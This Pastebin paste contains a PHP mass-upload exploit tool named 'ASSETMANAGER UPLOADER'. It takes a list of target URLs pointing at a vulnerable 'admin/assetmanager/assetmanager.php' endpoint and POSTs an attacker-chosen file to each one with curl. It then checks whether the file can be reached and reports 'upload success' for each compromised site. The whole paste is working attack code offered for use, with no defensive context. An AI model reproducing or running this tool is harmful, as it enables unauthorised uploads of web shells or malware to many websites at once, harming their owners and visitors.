Advertisement
tobitaz

Massassetmanageruploader.php

Oct 3rd, 2013 (edited)
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 1.94 KB | None | 0 0
  1.            <center>
  2. <font style="font-size:40;">ASSETMANAGER UPLOADER</font><br /><br />
  3. <form action="" method="post" enctype="multipart/form-data">
  4. Url:<textarea name="url" cols="40" rows="40">http://www.vulnsite.com/admin/assetmanager/assetmanager.php</textarea><br />
  5. <input type="file" name="phc"><br />
  6. <input type="submit">
  7. </form>
  8.  
  9. <?php
  10.  
  11.  
  12.  
  13.  
  14. $urlr = $_POST['url'];
  15.  
  16.  
  17.  
  18. if($urlr != null)
  19. {
  20.  
  21. $urls = preg_split('/(\r?\n)+/', $urlr);
  22.  
  23. foreach($urls as $url)
  24. {
  25.  
  26. $tmpfile = $_FILES['phc']['tmp_name'];
  27. $filename = basename($_FILES['phc']['name']);
  28.  
  29.  
  30.  
  31.  
  32.  
  33.  
  34.  
  35. $data = array("File1" => '@'.$tmpfile.';filename='.$filename,
  36.       "inpCurrFolder2" => ".");
  37.  
  38.  
  39. $ch = curl_init($url);
  40.           curl_setopt($ch, CURLOPT_POST, 1);
  41.           curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
  42.           curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  43.   $re = curl_exec($ch);
  44.          curl_close($ch);
  45.  
  46.  
  47. //check file kalo wujud
  48. $urr = dirname($url)."/".$filename;
  49.  
  50.  
  51.  
  52.  
  53.  
  54.                             $cr = curl_init();
  55.             curl_setopt($cr, CURLOPT_URL, $urr);    
  56.                   curl_setopt($cr, CURLOPT_RETURNTRANSFER, 1);
  57.                   $respons = curl_exec($cr);
  58.                       $errno = curl_errno($cr);
  59.                       $error = curl_error($cr);
  60.                $response = $response;
  61.                         $info = curl_getinfo($cr);
  62.                       $chek = $info['http_code'];
  63.                         curl_close($cr);
  64.  
  65.              if($chek > 400)
  66.                {
  67.                 echo "<a class='left' href='".$urr."'>".$urr."</a> <font class='rig' color='red'> upload failed</font><br />";
  68.                 }
  69.             else
  70.                 {
  71.                 echo "<a class='left' href='".$urr."'>".$urr."</a> <font class='rig' color='green'> upload success</font><br />";
  72.                 }
  73.        
  74.  
  75. }
  76. }
  77.  
  78. ?>
  79. </center>  
  80. <style>
  81. .left
  82. {
  83. float:left;
  84. }
  85. .rig
  86. {
  87. float:right;
  88. }
  89. </style>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement